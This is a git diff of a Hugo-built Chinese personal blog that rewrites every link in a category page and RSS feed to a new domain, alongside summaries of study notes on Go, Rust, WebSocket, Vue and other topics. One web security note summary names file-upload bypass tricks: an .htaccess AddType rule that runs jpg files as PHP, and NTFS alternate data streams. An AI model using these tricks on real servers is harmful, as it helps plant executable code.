+&lt;template> &lt;el-button>I am ElButton&lt;/el-button> &lt;/template> &lt;script> import { ElButton } from 'element-plus' export default { components: { ElButton }, } &lt;/script></p></div><footer class=entry-footer><span title='2022-11-03 17:40:00 +0000 UTC'>2022-11-03</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Element Plus组件库" href=https://chenjunlinabc.github.io/posts/157/></a></article><footer class=page-footer><nav class=pagination><a class=next href=https://chenjunlinabc.github.io/categories/%E5%AD%A6%E4%B9%A0/page/2/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git "a/categories/\345\255\246\344\271\240/index.xml" "b/categories/\345\255\246\344\271\240/index.xml"
index 427606bf..be66bbbb 100644
--- "a/categories/\345\255\246\344\271\240/index.xml"
+++ "b/categories/\345\255\246\344\271\240/index.xml"
@@ -2,22 +2,22 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>学习 on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/categories/%E5%AD%A6%E4%B9%A0/</link>
+    <link>https://chenjunlinabc.github.io/categories/%E5%AD%A6%E4%B9%A0/</link>
     <description>Recent content in 学习 on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Sun, 20 Nov 2022 11:49:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/categories/%E5%AD%A6%E4%B9%A0/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Sun, 20 Nov 2022 11:49:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/categories/%E5%AD%A6%E4%B9%A0/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>汇编基础学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/162/</link>
+      <link>https://chenjunlinabc.github.io/posts/162/</link>
       <pubDate>Sun, 20 Nov 2022 11:49:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/162/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/162/</guid>
       <description>x86架构通用寄存器（32位的x86架构和64位的x86_64架构）
 x86_64架构由amd公司推出，因此又叫amd64架构，64位架构是基于32位架构扩展的
 32位架构的x86处理器具备8个32位的通用寄存器，可通过名称来引用这8个寄存器，分别为EAX，ECX，EDX，EBX，ESP，EBP，ESI，EDI
@@ -75,10 +75,10 @@ x64架构，在PAE的基础上扩展了页表为4级，而且每个页面的大
     
     <item>
       <title>Deno js运行时环境学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/161/</link>
+      <link>https://chenjunlinabc.github.io/posts/161/</link>
       <pubDate>Fri, 11 Nov 2022 07:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/161/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/161/</guid>
       <description>Deno是基于V8引擎，使用Rust构建的JavaScript &amp;amp; TypeScript 运行时环境，天生支持TypeScript，并且有安全模式（默认情况下无法获取网络，文件系统，环境变量等权限，当然也可以开放），Deno的作者是Nodejs之父Ryan Dahl，构建的原因是解决Nodejs的缺陷，例如模块的安全性（Node运行时的权限很高，缺乏模块的安全运行），Deno的模块化选择了ESMoule标准，而且具备浏览器的api，例如window全局变量，支持onload，onunload等事件函数，支持fetch，Web Workers等标准，异步操作返回采用Promise，支持await
 Deno不使用node_modules与package.json的包管理机制，而是采用下载编译的机制，并且存在缓存，模块更新通过更新缓存来完成
 Deno有个特殊的功能，就是可以从网络上导入模块
@@ -97,7 +97,7 @@ https://github.com/denoland/deno/releases
 检查是否安装完成
 deno &amp;ndash;version
 第一个例子
-import DFetch from &amp;quot;https://deno.land/x/dfetch/mod.ts&amp;quot;
DFetch.get(&amp;quot;https://xiaochenabc123.test.com&amp;quot;).then((response) =&amp;gt; {
console.log(response)
})
运行
+import DFetch from &amp;quot;https://deno.land/x/dfetch/mod.ts&amp;quot; DFetch.get(&amp;quot;https://xiaochenabc123.test.com&amp;quot;).then((response) =&amp;gt; { console.log(response) }) 运行
 deno run .\index.ts
 它会向你询问进行网络请求，是否允许，可通过&amp;ndash;allow-net默认运行，例如：deno run &amp;ndash;allow-net .\index.ts
 第三方库通过https://deno.land/x查找
@@ -117,10 +117,10 @@ deno内置工具
     
     <item>
       <title>计算机图形学学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/159/</link>
+      <link>https://chenjunlinabc.github.io/posts/159/</link>
       <pubDate>Tue, 08 Nov 2022 12:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/159/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/159/</guid>
       <description>计算机图形学(Computer Graphics，CG)是研究图形表达，生成，处理与显示的学科
 通过数学算法将二维，三维图形转换成计算机显示器的栅格，例如向量，行列式，矩阵算法等等
 图形学历史
@@ -147,10 +147,10 @@ Whirlwind电子管计算机设计之初是美国空军训练飞行员，半自
     
     <item>
       <title>WebSocket学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/158/</link>
+      <link>https://chenjunlinabc.github.io/posts/158/</link>
       <pubDate>Sat, 05 Nov 2022 14:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/158/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/158/</guid>
       <description>HTTP1.1协议实质上就是半双工信道，无法同时发送数据和接收数据，而且HTTP连接必须是客户端发起，由服务器来进行处理响应，只有HTTP2.0才是全双工信道（不需要等待响应，就可以发送第二个报文）
 WebSocket是全双工信道，而且还支持服务端主动发送数据给客户端，是服务器推送技术（还是需要客户端发起连接）
 WebSocket协议是应用层协议，而且是建立在TCP协议上，端口也是使用443和80，握手使用HTTP协议，浏览器不会限制WebSocket的同源
@@ -164,37 +164,37 @@ WebSocket.onclose是指定连接关闭后执行的回调函数
 WebSocket.onmessage是指定从服务器获取信息时执行的回调函数
 可以指定WebSocket.binaryType来指定传输的数据类型，数据类型有2种，分别是blob和arraybuffer
 客户端配置例如：
-const ws = new WebSocket(&#39;ws://localhost:8080&#39;)
ws.onopen = () =&amp;gt;{
console.log(&amp;quot;连接中&amp;quot;)
ws.send(&#39;hallo word&#39;) // 向服务端发送数据
}
ws.onerror = () =&amp;gt;{
console.log(&#39;连接失败&#39;)
}
ws.onmessage = (evt) =&amp;gt;{
console.log(&#39;连接成功，正在获取数据&#39;)
if(typeof evt.data === String){
console.log(&#39;hallo&#39;+evt.data)
}else if(evt.data instanceof ArrayBuffer){
let data = evt.data
console.log(&#39;数据：&#39;+data)
}
ws.close() // 手动关闭连接
}
ws.onclose = () =&amp;gt;{
console.log(&#39;连接已关闭&#39;)
}
还有WebSocket.bufferedAmount属性，也是只读，用于返回WebSocket..send没有发送到服务端的数据的字节数，为0表示全部数据已传输完毕
+const ws = new WebSocket(&#39;ws://localhost:8080&#39;) ws.onopen = () =&amp;gt;{ console.log(&amp;quot;连接中&amp;quot;) ws.send(&#39;hallo word&#39;) // 向服务端发送数据 } ws.onerror = () =&amp;gt;{ console.log(&#39;连接失败&#39;) } ws.onmessage = (evt) =&amp;gt;{ console.log(&#39;连接成功，正在获取数据&#39;) if(typeof evt.data === String){ console.log(&#39;hallo&#39;+evt.data) }else if(evt.data instanceof ArrayBuffer){ let data = evt.data console.log(&#39;数据：&#39;+data) } ws.close() // 手动关闭连接 } ws.onclose = () =&amp;gt;{ console.log(&#39;连接已关闭&#39;) } 还有WebSocket.bufferedAmount属性，也是只读，用于返回WebSocket..send没有发送到服务端的数据的字节数，为0表示全部数据已传输完毕
 WebSocket.url属性可以返回WebSocket实例的URL绝对路径，只读</description>
     </item>
     
     <item>
       <title>简单使用Element Plus组件库</title>
-      <link>https://xiaochenabc123.github.io/posts/157/</link>
+      <link>https://chenjunlinabc.github.io/posts/157/</link>
       <pubDate>Thu, 03 Nov 2022 17:40:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/157/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/157/</guid>
       <description>Element Plus是基于vue3开发的组件库，而Element使用vue2开发的组件库
 安装Element Plus
 npm install element-plus &amp;ndash;save
 或者
 yarn add element-plus
 导入Element Plus
-import ElementPlus from &#39;element-plus&#39;
import &#39;element-plus/dist/index.css&#39;
按需导入
+import ElementPlus from &#39;element-plus&#39; import &#39;element-plus/dist/index.css&#39; 按需导入
 安装插件
 npm install -D unplugin-vue-components unplugin-auto-import
 如果是使用Vite则配置vite.config.ts文件
 导入并且启用插件
-import AutoImport from &#39;unplugin-auto-import/vite&#39;
import Components from &#39;unplugin-vue-components/vite&#39;
...
plugins: [
AutoImport({
resolvers: [ElementPlusResolver()],
}),
Components({
resolvers: [ElementPlusResolver()],
}),
],
这个组件库还支持module导入的方式手动按需使用，例如：
-&amp;lt;template&amp;gt;
&amp;lt;el-button&amp;gt;I am ElButton&amp;lt;/el-button&amp;gt;
&amp;lt;/template&amp;gt;
&amp;lt;script&amp;gt;
import { ElButton } from &#39;element-plus&#39;
export default {
components: { ElButton },
}
&amp;lt;/script&amp;gt;
</description>
+import AutoImport from &#39;unplugin-auto-import/vite&#39; import Components from &#39;unplugin-vue-components/vite&#39; ... plugins: [ AutoImport({ resolvers: [ElementPlusResolver()], }), Components({ resolvers: [ElementPlusResolver()], }), ], 这个组件库还支持module导入的方式手动按需使用，例如：
+&amp;lt;template&amp;gt; &amp;lt;el-button&amp;gt;I am ElButton&amp;lt;/el-button&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script&amp;gt; import { ElButton } from &#39;element-plus&#39; export default { components: { ElButton }, } &amp;lt;/script&amp;gt; </description>
     </item>
     
     <item>
       <title>计算机网络学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/156/</link>
+      <link>https://chenjunlinabc.github.io/posts/156/</link>
       <pubDate>Tue, 01 Nov 2022 12:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/156/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/156/</guid>
       <description>计算机网络是通用，可编程的硬件组成的，并且这些设备可互连，并且可以传输不同类型的数据
 计算机网络不是只有软件概念，还有硬件设备，例如：网卡，网线，路由器等等
 网络作用范围：广域网（WAN），城域网（MAN），局域网（LAN）
@@ -262,10 +262,10 @@ IP地址（v4只有32位，v6有128位），ipv4使用点分十进制表示，
     
     <item>
       <title>计算机组成原理学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/155/</link>
+      <link>https://chenjunlinabc.github.io/posts/155/</link>
       <pubDate>Tue, 01 Nov 2022 02:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/155/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/155/</guid>
       <description>计算机发展历史
 1946-1957，电子管计算机，1957-1964，晶体管计算机，1964-1980，集成电路计算机，1980-至今，超大规模集成电路计算机
 电子管计算机：二战时期，英国为了破译德国的无线电密文，而发明了电子管计算机，最出名的电子管计算机莫过于埃尼阿克（ENIAC），埃尼阿克是美国军方为了计算弹道而诞生的，埃尼阿克长30多米，高2.4米，宽6米，拥有18000多个电子管，70000个电阻，10000个电容，1500个续电，6000多个开关，运行耗电150千瓦，重30吨，占地1500平方英寸（140平方米），造价48万美元，运算速度每秒5000次
@@ -338,10 +338,10 @@ ASCII码：ASCII码包含95个可打印字符和33个不可打印的字符（例
     
     <item>
       <title>Nuxt.js学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/152/</link>
+      <link>https://chenjunlinabc.github.io/posts/152/</link>
       <pubDate>Sun, 05 Jun 2022 21:36:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/152/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/152/</guid>
       <description>nuxt是一个基于vue的应用框架，用于创建服务端渲染应用，使用vite作为打包器，使用webpack作为构建工具
 创建项目
 yarn create nuxt-app test
@@ -358,10 +358,10 @@ yarn start
     
     <item>
       <title>编译原理学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/148/</link>
+      <link>https://chenjunlinabc.github.io/posts/148/</link>
       <pubDate>Sun, 08 May 2022 03:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/148/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/148/</guid>
       <description>编译就是翻译，将机器语言翻译成另一个机器语言（例如高级语言翻译成低级语言（例如汇编），低级语言翻译成机器语言（二进制））
 编译让计算机理解高级语言并且执行，编译让计算机更理解人，编译提供了人类新的思考方式
 编译的翻译只能作用于形式语言
@@ -399,24 +399,24 @@ let: Keyword a: Variable =: Operator 1: Integer
     
     <item>
       <title>vuejs底层原理学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/147/</link>
+      <link>https://chenjunlinabc.github.io/posts/147/</link>
       <pubDate>Tue, 26 Apr 2022 20:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/147/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/147/</guid>
       <description>组件的渲染，更新
 组件的渲染：通过组件的模板创建vnode，渲染vnode，生成DOM
 vue应用的初始化
-import { createApp } from &#39;vue&#39;
import App from &#39;./app&#39;
const app = createApp(App)
app.mount(&#39;#app&#39;)
通过上面例子看到vue将app应用挂载到根组件上（一般是id为app的dom节点），通过createApp()函数，对外暴露vue，createApp()方法主要作用是创建app应用，以及重写mount方法，最后返回app应用
+import { createApp } from &#39;vue&#39; import App from &#39;./app&#39; const app = createApp(App) app.mount(&#39;#app&#39;) 通过上面例子看到vue将app应用挂载到根组件上（一般是id为app的dom节点），通过createApp()函数，对外暴露vue，createApp()方法主要作用是创建app应用，以及重写mount方法，最后返回app应用
 通过createApp()源码，可以看到createApp()接收一个参数，这个参数也就是app应用（根组件），createApp()创建app应用是通过ensureRenderer()的createApp()创建的
 ensureRenderer()用于创建一个惰性渲染器对象（延时创建，这样的好处是当只使用响应式包时，不需要打包渲染器等渲染逻辑相关的代码）</description>
     </item>
     
     <item>
       <title>web安全学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/145/</link>
+      <link>https://chenjunlinabc.github.io/posts/145/</link>
       <pubDate>Wed, 13 Apr 2022 13:50:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/145/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/145/</guid>
       <description>常见web工具：
 burpsuite：通过代理渗透，可重放HTTP请求，来分析HTTP响应
 curl：通过url方式传输数据，可用于抓取页面（执行请求），监控网络等等
@@ -451,15 +451,15 @@ AddType application/x-httpd-php jpg的意思是，jpg文件按照php文件的方
 Windows文件流绕过
 利用windows平台的NTFS文件系统的文件流特性，设置文件时，默认使用未命名的文件流，但是也可以创建其他命名的文件流
 例如：
-echo hallo,word &amp;gt; hallo.txt:a.txt
echo hallo &amp;gt; hallo.</description>
+echo hallo,word &amp;gt; hallo.txt:a.txt echo hallo &amp;gt; hallo.</description>
     </item>
     
     <item>
       <title>Rust学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/142/</link>
+      <link>https://chenjunlinabc.github.io/posts/142/</link>
       <pubDate>Mon, 28 Mar 2022 13:22:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/142/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/142/</guid>
       <description>Rust由非盈利组织Mozilla基金会开发，像著名的Mozilla Firefox浏览器和MDN Web Docs都出自该基金会
 安装
 官方推荐使用Rustup来安装（Rustup是rust的安装器和版本管理工具）
@@ -485,15 +485,15 @@ cargo new halloword
 其中Cargo.toml文件是项目的依赖库文件
 通过编辑Cargo.toml文件来添加依赖
 rust依赖可通过https://crates.io/查找
-[package]
name = &amp;quot;hallo_word&amp;quot;
version = &amp;quot;0.0.1&amp;quot;
edition = &amp;quot;2021&amp;quot;
[dependencies]
hyper = &amp;quot;0.14.20&amp;quot; # 来自https://crates.io/
# hyper = { git = &amp;quot;https://github.com/hyperium/hyper&amp;quot; } # 来自第三方社区
# hyper = { path = &amp;quot;.</description>
+[package] name = &amp;quot;hallo_word&amp;quot; version = &amp;quot;0.0.1&amp;quot; edition = &amp;quot;2021&amp;quot; [dependencies] hyper = &amp;quot;0.14.20&amp;quot; # 来自https://crates.io/ # hyper = { git = &amp;quot;https://github.com/hyperium/hyper&amp;quot; } # 来自第三方社区 # hyper = { path = &amp;quot;.</description>
     </item>
     
     <item>
       <title>Flutter框架学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/141/</link>
+      <link>https://chenjunlinabc.github.io/posts/141/</link>
       <pubDate>Tue, 22 Mar 2022 12:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/141/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/141/</guid>
       <description>Flutter是谷歌开源的跨平台UI框架，可以快速在iOS和Android上构建高质量的原生用户界面，可在Windows，Linux，Android，Web，iOS，Mac等6大平台上开发应用
 闲鱼和Now直播，美团，快手都使用了Flutter
 获取Flutter
@@ -529,26 +529,26 @@ flutter项目下的lib/main.dart，class MyApp类下
 运行后可以看到一个title以及内容都为Hallo word的app
 flutter自带了可视化工具，Dart DevTools
 自己写一个main.dart
-void main() =&amp;gt; runApp(MyApp());
class MyApp extends StatelessWidget{
@override
Widget build(BuildContext context){
return MaterialApp(
title: &amp;quot;hallo word&amp;quot;, // app的title
theme: ThemeData(
primarySwatch: Colors.</description>
+void main() =&amp;gt; runApp(MyApp()); class MyApp extends StatelessWidget{ @override Widget build(BuildContext context){ return MaterialApp( title: &amp;quot;hallo word&amp;quot;, // app的title theme: ThemeData( primarySwatch: Colors.</description>
     </item>
     
     <item>
       <title>Gin框架学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/135/</link>
+      <link>https://chenjunlinabc.github.io/posts/135/</link>
       <pubDate>Tue, 15 Feb 2022 17:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/135/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/135/</guid>
       <description>Gin是一个基于go语言编写的web框架，因为Gin的路由库基于httprouter开发的，性能非常好，支持Restful api规范
 安装
 go get -u github.com/gin-gonic/gin
 第一个demo
-package main
import &amp;quot;github.com/gin-gonic/gin&amp;quot;
import &amp;quot;net/http&amp;quot;
func main() {
g := gin.Default()
g.GET(&amp;quot;/&amp;quot;, func(c *gin.Context) {
c.String(http.StatusOK, &amp;quot;hallo word&amp;quot;)
})
g.Run()
}
go run main.go
+package main import &amp;quot;github.com/gin-gonic/gin&amp;quot; import &amp;quot;net/http&amp;quot; func main() { g := gin.Default() g.GET(&amp;quot;/&amp;quot;, func(c *gin.Context) { c.String(http.StatusOK, &amp;quot;hallo word&amp;quot;) }) g.Run() } go run main.go
 g.Run()是将应用部署到本地服务器上，默认端口为8080，可设置端口，g.Run(&amp;quot;:2333&amp;quot;)
 路由
-r.GET(&amp;quot;/test/:name&amp;quot;, func(c *gin.Context) {
name := c.Param(&amp;quot;name&amp;quot;)
c.String(http.StatusOK, name)
})
g.Run(&amp;quot;:6666&amp;quot;)
127.0.0.1:6666/test/xiaochen
+r.GET(&amp;quot;/test/:name&amp;quot;, func(c *gin.Context) { name := c.Param(&amp;quot;name&amp;quot;) c.String(http.StatusOK, name) }) g.Run(&amp;quot;:6666&amp;quot;) 127.0.0.1:6666/test/xiaochen
 可以看到Context的Param方法可以获取路由的参数
 通过url传递参数
-r.GET(&amp;quot;/test&amp;quot;, func(c *gin.Context) {
name := c.DefaultQuery(&amp;quot;name&amp;quot;, &amp;quot;test&amp;quot;)
c.String(http.StatusOK, fmt.Sprintf(&amp;quot;hallo %s&amp;quot;, name))
})
r.Run()
127.0.0.1:6666/test
+r.GET(&amp;quot;/test&amp;quot;, func(c *gin.Context) { name := c.DefaultQuery(&amp;quot;name&amp;quot;, &amp;quot;test&amp;quot;) c.String(http.StatusOK, fmt.Sprintf(&amp;quot;hallo %s&amp;quot;, name)) }) r.Run() 127.0.0.1:6666/test
 如果没有传递参数将会输出DefaultQuery的默认参数test
 传递参数后 127.0.0.1:6666/test?name=word
 POST请求
@@ -557,10 +557,10 @@ index.html main.go</description>
     
     <item>
       <title>PostCSS学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/129/</link>
+      <link>https://chenjunlinabc.github.io/posts/129/</link>
       <pubDate>Sun, 23 Jan 2022 13:55:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/129/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/129/</guid>
       <description>PostCSS是一个用JS插件转换为css的插件工具（注意：PostCSS不是css预处理器，PostCSS本身是个平台，可以通过一些插件达到css预处理器的效果）
 PostCSS is a tool for transforming CSS with JS plugins. These plugins can support variables and mixins, transpile future CSS syntax, inline images, and more.
 插件查询：https://www.postcss.parts/
@@ -571,17 +571,17 @@ npm install postcss postcss-loader
 npm install postcss postcss-loader &amp;ndash;save-dev
 PostCSS不单独使用，可搭配Gulp或者webpack使用（这里使用的是webpack）
 webpack.config.js
-module.exports = {
module: {
rules: [
{
test: /\.css$/,
use: [&amp;quot;style-loader&amp;quot;, &amp;quot;css-loader&amp;quot;, &amp;quot;postcss-loader&amp;quot;]
}
]
}
};
postcss.config.js
-module.exports = {
plugins: [插件1,插件2]
};
Autoprefixer（自动添加浏览器前缀）
+module.exports = { module: { rules: [ { test: /\.css$/, use: [&amp;quot;style-loader&amp;quot;, &amp;quot;css-loader&amp;quot;, &amp;quot;postcss-loader&amp;quot;] } ] } }; postcss.config.js
+module.exports = { plugins: [插件1,插件2] }; Autoprefixer（自动添加浏览器前缀）
 npm install autoprefixer &amp;ndash;save-dev</description>
     </item>
     
     <item>
       <title>Golang进阶扩展笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/128/</link>
+      <link>https://chenjunlinabc.github.io/posts/128/</link>
       <pubDate>Sun, 16 Jan 2022 09:08:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/128/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/128/</guid>
       <description>这篇笔记是进阶学习，如果基础没有看的的话，请去看https://xiaochenabc123.test.com/archives/96.html
 并发
 go的并发靠goroutine，goroutine由go运行时调度，线程由操作系统调度，go还提供channel来给多个goroutine之间通行，goroutine和channel是go并发模式CSP（Communicating Sequential Process，通讯顺序进程）的实现基础，goroutine的调度在用户态下完成，不涉及内核态（比如内存的分配和释放，都是用户态维护的内存池，成本远比调度OS线程要低的多，可轻松做到成千上万个goroutine）
@@ -624,10 +624,10 @@ sync/atomic包将原子操作封装成了Go的函数，sync/atomic包提供了
     
     <item>
       <title>python爬虫学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/125/</link>
+      <link>https://chenjunlinabc.github.io/posts/125/</link>
       <pubDate>Fri, 31 Dec 2021 01:05:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/125/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/125/</guid>
       <description>urllib，xpath，jsonpath，beautiful，requests，selenium，Scrapy
 python库内置的HTTP请求库 urllib.request 请求模块 urllib.error 异常处理模块 urllib.parse url解析模块 urllib.robotparsef robots.txt解析模块
 urllib.request提供了最基本的http请求方法，主要带有处理授权验证，重定向，浏览器Cookies功能
@@ -638,15 +638,15 @@ HTTPResposne类型对象
 post发送一个请求，只需要把参数data以bytes类型传入 import urllib.parse import urllib.request data = bytes(urllib.parse.urlencode({&amp;lsquo;hallo&amp;rsquo;:&amp;lsquo;python&amp;rsquo;}),encoding=&amp;lsquo;utf-8&amp;rsquo;) response = urllib.request.urlopen(&amp;lsquo;http://httpbin.org/post&#39;.data = data) print(response.read())
 timeout参数用于设置超时时间，单位为秒 import urllib.request response = urllib.request.urlopen(&amp;lsquo;https://xiaochenabc123.test.com/&#39;,timeout=1)
 这里设置超时时间为1秒，如果超了1秒，服务器依然没有响应就抛出URLError异常，可以结合try和except
-import urllib.parse
import urllib.request
url = &amp;quot;https://xiaochenabc123.test.com/&amp;quot;
headers = {
&#39;User-Agent&#39;: &#39;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.</description>
+import urllib.parse import urllib.request url = &amp;quot;https://xiaochenabc123.test.com/&amp;quot; headers = { &#39;User-Agent&#39;: &#39;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.</description>
     </item>
     
     <item>
       <title>操作系统学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/115/</link>
+      <link>https://chenjunlinabc.github.io/posts/115/</link>
       <pubDate>Thu, 07 Oct 2021 09:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/115/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/115/</guid>
       <description>操作系统是管理计算机硬件和软件资源，并且提供用户交互的软件系统
 常见操作系统有Windows，Linux，Android
 操作系统具备管理计算机资源的功能，具备抽象计算机资源的能力，能和用户进行交互
@@ -711,10 +711,10 @@ CPU需要逻辑地址上的内存内容（ALU），内存管理单元（MMU）
     
     <item>
       <title>Redis学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/97/</link>
+      <link>https://chenjunlinabc.github.io/posts/97/</link>
       <pubDate>Fri, 10 Sep 2021 21:10:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/97/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/97/</guid>
       <description>Redis是NoSQL数据库（Not Only SQL）家族的代表之一，其特点就是基于内存运行，支持分布式，key-value存储
 Redis具备速度快，支持多种数据结构，可持久化，支持主从复制，具备高可用，分布式等特点
 可以将内存中的数据存储到磁盘中，重启的时候再加载使用，保证数据的持久性，支持备份恢复，常用于缓存数据库（辅助持久化数据库）
@@ -763,10 +763,10 @@ daemonize yes</description>
     
     <item>
       <title>Golang学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/96/</link>
+      <link>https://chenjunlinabc.github.io/posts/96/</link>
       <pubDate>Thu, 09 Sep 2021 01:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/96/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/96/</guid>
       <description>Golang又叫go语言，golang是它的全称，是由Google开发的一种静态强类型，编译型，并发型，并具有垃圾回收功能的编程语言
 go语言确保达到静态编译语言的安全和性能的同时，又达到动态语言的开发维护效率
 Go语言天生支持并发，提供自动垃圾回收机制
@@ -782,7 +782,7 @@ GOBIN对应着 go install安装和编译的二进制程序的安装目录
 go env
 源程序默认为UTF-8编码，;可省略
 第一个go程序
-package main
import &amp;quot;fmt&amp;quot;
func main(){
fmt.Println(&amp;quot;hallo golang&amp;quot;)
}
go run hallo.go
+package main import &amp;quot;fmt&amp;quot; func main(){ fmt.Println(&amp;quot;hallo golang&amp;quot;) } go run hallo.go
 当然作为一个编译型语言，编译成二进制文件是支持的
 go build hallo.go
 作为一个静态强类型语言，如果学过java的话，理解还是很轻松的
@@ -808,19 +808,19 @@ var abc xyz string = &amp;ldquo;hallo&amp;rdquo;,&amp;ldquo;word&amp;rdquo;</des
     
     <item>
       <title>React进阶学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/94/</link>
+      <link>https://chenjunlinabc.github.io/posts/94/</link>
       <pubDate>Fri, 03 Sep 2021 12:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/94/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/94/</guid>
       <description>react16是Facebook在2017年发布的react版本，几乎对react底层进行重写，但是对外API不变，因此可以无缝转移到react16
 render返回类型
